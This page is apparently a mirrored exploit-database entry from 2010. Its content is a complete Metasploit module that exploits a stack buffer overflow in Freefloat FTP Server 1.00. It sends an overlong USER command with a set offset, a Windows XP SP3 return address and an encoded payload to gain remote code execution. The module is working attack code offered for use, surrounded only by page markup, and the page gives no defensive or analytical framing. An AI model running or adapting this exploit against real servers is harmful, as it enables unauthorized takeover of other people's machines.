Home / os / win7

[remote exploits] - Freefloat FTP Server Buffer Overflow Exp

Posted on 08 December 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Freefloat FTP Server Buffer Overflow Exploit (Meta) | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Freefloat FTP Server Buffer Overflow Exploit (Meta) in remote exploits | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>===================================================
Freefloat FTP Server Buffer Overflow Exploit (Meta)
===================================================

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require &#039;msf/core&#039;
 
 
class Metasploit3 &lt; Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::Ftp
 
    def initialize(info = {})
        super(update_info(info,
            &#039;Name&#039;           =&gt; &#039;Freefloat FTP &lt;= 1.00 Stack Buffer Overflow&#039;,
            &#039;Description&#039;    =&gt; %q{
                    This module exploits a vulnerability in Freefloat FTP service version 1.00.
                This module uses the USER command to trigger the overflow.
            },
            &#039;Author&#039;         =&gt;
                    [
                        &#039;0v3r&#039;,         # original version
                        &#039;Muhamad Fadzil Ramli&#039;  # metasploit module
                    ],
            &#039;License&#039;        =&gt; MSF_LICENSE,
            &#039;Version&#039;        =&gt; &#039;$Revision: $&#039;,
            &#039;References&#039;     =&gt;
                [
                    [ &#039;EDB&#039;, &#039;15689&#039; ],
                    [ &#039;URL&#039;, &#039;http://www.freefloat.com/software/freefloatftpserver.zip&#039; ]
                ],
            &#039;DefaultOptions&#039; =&gt;
                        {
                                &#039;EXITFUNC&#039; =&gt; &#039;process&#039;,
                    &#039;RPORT&#039;    =&gt; 21
                        },
            &#039;Privileged&#039;     =&gt; false,
            &#039;Payload&#039;        =&gt;
                {
                    &#039;Space&#039;    =&gt; 512,
                    &#039;BadChars&#039; =&gt; &quot;x00x0ax0dxffx20&quot;,
                    &#039;StackAdjustment&#039; =&gt; -3500,
                    &#039;DisableNops&#039; =&gt; true
                },
            &#039;Platform&#039;       =&gt; &#039;win&#039;,
            &#039;Targets&#039;        =&gt;
                                [
                    [ &#039;Windows XP SP3 (EN)&#039;, { &#039;Ret&#039; =&gt; 0x5AD86AEB } ], # push esp, ret [uxtheme.dll]
                ],
            &#039;DisclosureDate&#039; =&gt; &#039;December 5 2010&#039;,
            &#039;DefaultTarget&#039;  =&gt; 0))
        deregister_options(&#039;FTPUSER&#039;,&#039;FTPPASS&#039;)
    end
 
    def check
        connect
        disconnect
        if (banner =~ /FreeFloat Ftp Server (Version 1.00)/)
            return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
    end
 
    def exploit
 
        connect
        print_status(&quot;Trying target #{target.name}...&quot;)
 
        buf =  rand_text_alpha(230)
        buf &lt;&lt; [target.ret].pack(&#039;V&#039;)
        buf &lt;&lt; make_nops(16)
        buf &lt;&lt; payload.encoded
        #buf    &lt;&lt; rand_text_alpha(1000 - buf.length)
 
        #send_cmd( [&#039;USER&#039;,buf],false )
        send_user(buf)
 
        handler
        disconnect
    end
end


# <a href='http://1337db.com/'>1337db.com</a> [2010-12-08]</pre></body></html>

 

TOP

Malware :

Exploits :